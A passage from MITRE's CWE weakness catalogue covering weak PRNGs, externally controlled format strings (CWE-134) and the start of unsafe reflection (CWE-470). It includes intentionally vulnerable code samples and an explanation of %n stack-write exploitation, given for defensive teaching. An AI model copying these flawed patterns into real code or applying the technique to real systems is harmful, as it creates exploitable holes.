Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

(bad code)
Example Language: Java 
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
(bad code)
Example Language:
srand(time());
int randNum = rand();

The random number functions used in these examples, rand() and Random.nextInt(), are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

+ Observed Examples
ReferenceDescription
PHP framework uses mt_rand() function (Marsenne Twister) when generating tokens
Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.
Random number generator can repeatedly generate the same value.
Web application generates predictable session IDs, allowing session hijacking.
SSL library uses a weak random number generator that only generates 65,536 unique keys.
+ Potential Mitigations

Phase: Implementation

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use CyptGenRandom on Windows, or hw_rand() on Linux.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1170SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPNon-cryptographic PRNG
CERT C Secure CodingMSC30-CCWE More AbstractDo not use the rand() function for generating pseudorandom numbers
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Other_Notes
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Non-cryptographic PRNG
2014-06-23Use of Cryptographically Weak PRNG

CWE-134: Use of Externally-Controlled Format String

Weakness ID: 134
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a function that accepts a format string as an argument, but the format string originates from an external source.
+ Extended Description

When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.133String Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThe programmer rarely intends for a format string to be externally-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.
ImplementationIn cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Perl (Rarely Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory

Format string problems allow for information disclosure which can severely simplify exploitation of the program.
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

Format string problems can result in the execution of arbitrary code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following program prints a string provided as an argument.

(bad code)
Example Language:
#include <stdio.h>

void printWrapper(char *string) {

printf(string);
}

int main(int argc, char **argv) {

char buf[5012];
memcpy(buf, argv[1], 5012);
printWrapper(argv[1]);
return (0);
}

The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

Example 2

The following code copies a command line argument into a buffer using snprintf().

(bad code)
Example Language:
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

Example 3

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

(bad code)
Example Language:
printf("%d %d %1$d %1$d\n", 5, 9);

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

+ Observed Examples
ReferenceDescription
format string in Perl program
format string in bad call to syslog function
format string in bad call to syslog function
format strings in NNTP server responses
Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename.
Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages
+ Potential Mitigations

Phase: Requirements

Choose a language that is not subject to this flaw.

Phase: Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user, and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]

Phase: Build and Compilation

Run compilers and linkers with high warning levels, since they may detect incorrect usage.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source.

Effectiveness: Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Warning Flags

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Logging
  • Error Handling
  • String Processing
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.726OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Applicable Platform

This weakness is possible in any programming language that support format strings.

Research Gap

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

Other

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.

Frequently targeted entities are file names, process names, identifiers.

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERFormat string vulnerability
7 Pernicious KingdomsFormat String
CLASPFormat string problem
CERT C Secure CodingFIO30-CExactExclude user input from format strings
CERT C Secure CodingFIO47-CCWE More SpecificUse valid format strings
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
WASC6Format String
The CERT Oracle Secure Coding Standard for Java (2011)IDS06-JExclude user input from format strings
SEI CERT Perl Coding StandardIDS30-PLExactExclude user input from format strings
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-134
+ References
[REF-116] Steve Christey. "Format String Vulnerabilities in Perl Programs". <https://seclists.org/fulldisclosure/2005/Dec/91>. URL validated: 2023-04-07.
[REF-117] Hal Burch and Robert C. Seacord. "Programming Language Format String Vulnerabilities". <https://drdobbs.com/security/programming-language-format-string-vulne/197002914>. URL validated: 2023-04-07.
[REF-118] Tim Newsham. "Format String Attacks". Guardent. 2000-09-09. <http://www.thenewsh.com/~newsham/format-string-attacks.pdf>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Format String Bugs" Page 147. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 6: Format String Problems." Page 109. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C Format Strings", Page 422. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-134. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Detection_Factors, Modes_of_Introduction, Relationships, Other_Notes, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Name, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Functional_Areas, Likelihood_of_Exploit, Other_Notes, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Detection_Factors, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Common_Consequences, Relationships
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2015-12-07Uncontrolled Format String

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID: 470
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
+ Extended Description
If the product uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the product to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the product's classpath (CWE-427) or add new entries to the product's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the product.
+ Alternate Terms
Reflection Injection
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Class: Interpreted (Sometimes Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic

The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.
Availability
Other

Technical Impact: DoS: Crash, Exit, or Restart; Other

The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the product to exit or hang.
Confidentiality

Technical Impact: Read Application Data

By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.
+ Demonstrative Examples

Example 1

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

(good code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
ao = new ModifyCommand();
}
else {
throw new UnknownActionError();
}
ao.doAction(request);

A programmer might refactor this code to use reflection as follows:

(bad code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);

